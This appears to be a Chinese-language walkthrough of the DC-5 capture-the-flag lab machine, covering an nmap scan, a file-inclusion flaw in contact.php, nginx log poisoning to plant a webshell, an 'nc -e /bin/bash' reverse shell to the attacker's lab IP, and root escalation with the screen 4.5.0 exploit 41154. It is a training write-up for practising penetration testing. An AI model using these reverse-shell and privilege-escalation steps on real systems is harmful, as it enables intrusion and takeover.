介绍
在VMware中搭建环境,网络选择NAT或者桥接,确保攻击机和靶机在同一网络下即可,我这里选择的NAT。
靶机:192.168.254.134(DC-5)
攻击机:192.168.254.128(Kali)
物理机:192.168.254.1(Windows10)
信息搜集
nmap
扫描靶机

成功扫描到目标靶机,开放了两个端口。
80端口存在http服务。

漏洞扫描
无框架等信息,只知道由Nginx反向代理,先扫目录。

未发现隐藏目录,只能从页面下手了。
contact.php
页面存在提交,可能存在注入。

尝试后发现无注入,但是提交后的页面页脚一直在变,可能存在文件包含。

经测试,存在隐藏字段file
可以包含文件。

漏洞利用
尝试伪协议写文件,失败。
已知中间件为nginx
,尝试读取日志文件。

成功读取日志文件,写入木马。

成功执行!

反弹shell!
在 Kali
上监听 1234
端口。
$ nc -lvnp 1234
在靶机上反弹shell。
$ nc -e /bin/bash 192.168.254.128 1234

成功拿到shell!

flag
先搞个交互式shell。
$ python -c 'import pty; pty.spawn("/bin/bash")'
看看能不能提权。
$ find / -perm -u=s -type f 2>/dev/null

发现了可疑文件,查找一下相关漏洞
$ searchsploit screen 4.5.0

复制过来,上传到靶机上执行,报错

看看脚本怎么写的

可以分为三个部分:前两个部分为c语言程序
,第三部分为shell脚本
结合错误分析,应该是前两个部分编译文件时出了问题,无法正常编译导致文件找不到
因此只能在本地编译好后分开上传再执行
先将前两个程序编译好
$ gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
$ gcc -o /tmp/rootshell /tmp/rootshell.c
-fPIC 参数表明使用地址无关代码。
-shared 参数表明产生共享库。
-ldl 其中参数-l为连接一个共享库,dl表示名为libdl.a的静态库。
在/tmp
目录下会生成两个文件
将第三部分作为一个单独的文件
共三个文件,上传到靶机的/tmp
目录下

给41154.sh
添加执行权限并执行
$ chmod +x 41154.sh
$ ./41154.sh

成功提权!
成功拿到flag!

总结
学到的知识点
- 敏感文件检索